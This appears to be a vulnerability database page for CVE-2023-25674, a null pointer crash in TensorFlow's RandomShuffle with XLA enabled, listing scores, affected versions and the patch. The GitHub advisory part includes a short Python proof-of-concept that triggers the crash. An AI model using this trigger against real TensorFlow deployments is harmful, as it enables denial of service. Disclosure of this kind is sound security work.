CVE-2023-25674
JSON

7.5high

TensorFlow has Null Pointer Error in RandomShuffle with XLA enable

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
0.39% (higher than 35% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-gf97-q72m-7579BIT-TENSORFLOW-2023-25674PYSEC-2026-3189PYSEC-2026-3330PYSEC-2026-999

Description

TensorFlow is an open source machine learning platform. Versions prior to 2.12.0 and 2.11.1 have a null pointer error in RandomShuffle with XLA enabled. A fix is included in TensorFlow 2.12.0 and 2.11.1.

Affected

Product or packageVersionsReported by
tensorflow tensorflow< 2.11.1CVE List
tensorflow (PyPI)before 2.11.1GitHub Advisory Database, PyPA Advisory Database
tensorflow-cpu (PyPI)before 2.11.1GitHub Advisory Database, PyPA Advisory Database
tensorflow-gpu (PyPI)before 2.11.1GitHub Advisory Database, PyPA Advisory Database
google tensorflowbefore 2.12.0NVD
tensorflow (Bitnami)before 2.12.0Bitnami Vulnerability Database

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
PyPA Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Bitnami Vulnerability Databasehigh rating

Classification

CWE-476

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

TensorFlow is an open source machine learning platform. Versions prior to 2.12.0 and 2.11.1 have a null pointer error in RandomShuffle with XLA enabled. A fix is included in TensorFlow 2.12.0 and 2.11.1.

GitHub Advisory Database
Impact

NPE in RandomShuffle with XLA enable

import tensorflow as tf

func = tf.raw_ops.RandomShuffle
para = {'value': 1e+20, 'seed': -4294967297, 'seed2': -2147483649}

@tf.function(jit_compile=True)
def test():
   y = func(**para)
   return y

test()
Patches

We have patched the issue in GitHub commit 728113a3be690facad6ce436660a0bc1858017fa.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by r3pwnx

References

Sources

SourceRecordLicence
CVE ListCVE-2023-25674 changed 2025-02-19CVE Terms of Use
GitHub Advisory DatabaseGHSA-gf97-q72m-7579 changed 2026-07-13CC-BY-4.0
NVDCVE-2023-25674 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2026-3189 changed 2026-07-13CC-BY-4.0
PyPA Advisory DatabasePYSEC-2026-3330 changed 2026-07-13CC-BY-4.0
PyPA Advisory DatabasePYSEC-2026-999 changed 2026-07-13CC-BY-4.0
Bitnami Vulnerability DatabaseBIT-TENSORFLOW-2023-25674 changed 2026-09-08Apache-2.0